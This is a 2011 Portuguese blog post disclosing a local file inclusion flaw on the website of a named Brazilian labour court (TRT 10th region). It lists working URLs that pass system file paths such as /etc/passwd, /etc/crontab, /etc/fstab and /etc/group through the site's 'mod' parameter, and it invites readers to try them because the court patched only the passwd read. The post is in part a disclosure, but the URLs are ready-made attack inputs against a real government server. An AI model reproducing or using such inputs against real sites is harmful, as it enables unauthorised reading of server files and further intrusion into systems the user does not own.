Acesso mágico 11/05/2011 13:25
Pequena falha de segurança 07/05/2011 18:07
Ontem, o Vinicius Daniel me passou um link com uma "pequena falha de segurança", no site do TRT - 10ª região.
Se você entrasse no endereço abaixo você via o arquivo passwd completo:
http://www.trt10.jus.br/index.php?mod=/etc/passwd
Segundo o Vinicius, já os alertou, mas nem deram atenção.
Para minha surpresa, hoje quando fui publicar não estava mais "funcionando"... Porém, resolveram com uma solução, no mínimo, curiosa...
Testem os links abaixo:
http://www.trt10.jus.br/index.php?mod=/etc/fstab
http://www.trt10.jus.br/index.php?mod=/proc/cpuinfo
http://www.trt10.jus.br/index.php?mod=/proc/version
http://www.trt10.jus.br/index.php?mod=/etc/crontab
http://www.trt10.jus.br/index.php?mod=/etc/hosts
http://www.trt10.jus.br/index.php?mod=/etc/group
No momento da publicação deste post estão todos funcionando... Só tiraram a leitura do passwd...
(@SobrinhuREAL atacando...)
Comparando BDs 05/05/2011 18:27
Aconteceu com as sequências do PostgreSQL...
Quer comprar a camiseta?
